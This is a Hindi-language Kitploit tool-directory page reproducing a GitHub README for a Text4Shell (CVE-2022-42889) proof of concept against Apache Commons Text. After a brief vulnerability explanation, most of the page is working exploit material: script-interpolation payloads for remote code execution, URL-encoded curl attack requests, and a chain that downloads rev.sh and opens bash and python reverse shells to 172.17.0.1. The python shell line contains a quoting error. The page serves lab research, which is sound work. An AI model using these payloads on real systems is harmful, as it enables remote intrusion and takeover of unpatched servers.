Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 उर्फ Text4Shell अनुसंधान एवं PoC | Kitploit
उपकरण/GitHubGitHub/cxzero/cve-2022-42889-text4shell
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 उर्फ Text4Shell अनुसंधान एवं PoC

रिपॉजिटरी देखें
2033 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-42889 जिसे text4shell के नाम से भी जाना जाता है

हाल ही में खोजी गई कमजोरी के लिए PoC, @pwntester द्वारा:

जैसा कि https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ में उल्लेख किया गया है:

यह कमजोरी StringSubstitutor interpolator ऑब्जेक्ट में मौजूद है। StringSubstitutor.createInterpolator() विधि द्वारा एक इंटरपोलेटर बनाया जाता है और यह StringLookupFactory में परिभाषित स्ट्रिंग लुकअप की अनुमति देता है। इसका उपयोग एक स्ट्रिंग "${prefix:name}" पास करके किया जा सकता है, जहाँ prefix उपरोक्त लुकअप है। "script", "dns", या "url" लुकअप का उपयोग करके, एक तैयार स्ट्रिंग इंटरपोलेटर ऑब्जेक्ट को पास होने पर मनमानी स्क्रिप्ट निष्पादित कर सकती है।

प्रभावित संस्करण

प्रभावित Apache Commons Text संस्करण 1.5 से 1.9 तक हैं। इसे संस्करण 1.10 में पैच किया गया है।

शोषण के लिए शर्तें

  • Apache Commons Text का संस्करण 1.5 से 1.9 चलाएँ
  • StringSubstitutor interpolator क्लास का उपयोग करें

दूरस्थ रूप से शोषण करने के लिए, हमलावर द्वारा नियंत्रित इनपुट का उपयोग StringSubstitutor इंटरपोलेशन के लिए इनपुट के रूप में किया जाना चाहिए। विशेष रूप से, StringSubstitutor.replace() या StringSubstitutor.replaceIn() विधियों में

अन्य जावास्क्रिप्ट स्क्रिप्ट इंजन

JDK 15 के बाद से Nashorn JavaScript इंजन को हटा दिया गया था: https://openjdk.org/jeps/372 लेकिन यदि तीसरे पक्ष की निर्भरताएँ जैसे JEXL शामिल हैं, तो Apache Commons Text में RCE हो सकता है (https://twitter.com/pwntester/status/1582321752566161409)

शोषण

script interpolator

RCE प्राप्त करने के लिए इसका शोषण किया जा सकता है।

JDK < 15

Nashorn इंजन:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

यदि तीसरे पक्ष के JEXL का उपयोग कर रहे हैं:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

dns interpolator

इससे DNS लुकअप हो सकता है:

root@kitploit:~
${dns:address|commons.apache.org}

url interpolator

यह निर्दिष्ट URL से कनेक्ट होता है और सामग्री लाने का प्रयास करता है:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

PoC की मैन्युअल संकलन

टेम्पलेट https://start.spring.io/ पर आधारित

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Docker में ऐप चलाना

JVM 11 का उपयोग करके

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

JVM 19 का उपयोग करके

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

प्रदान किए गए POC

उल्लिखित विभिन्न हमले वैक्टरों का परीक्षण करने के लिए विभिन्न एंडपॉइंट प्रदान किए गए हैं।

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Nashorn का उपयोग करके:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

JEXL का उपयोग करके:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

रिवर्स शेल प्राप्त करें

बस सरलता के लिए, मैं netcat लिसनर के लिए डिफ़ॉल्ट Docker इंटरफ़ेस का उपयोग कर रहा हूँ। चारों ओर देखने पर, मैं bash और python रिवर्स शेल वाले इन पेलोड्स के साथ आया जो ठीक काम करते हैं:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

जहाँ rev.sh को इन संभावित सामग्रियों के साथ सर्व किया जाता है:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

संदर्भ

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

अन्य PoCs के लिए क्रेडिट

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
टूल डाउनलोड करें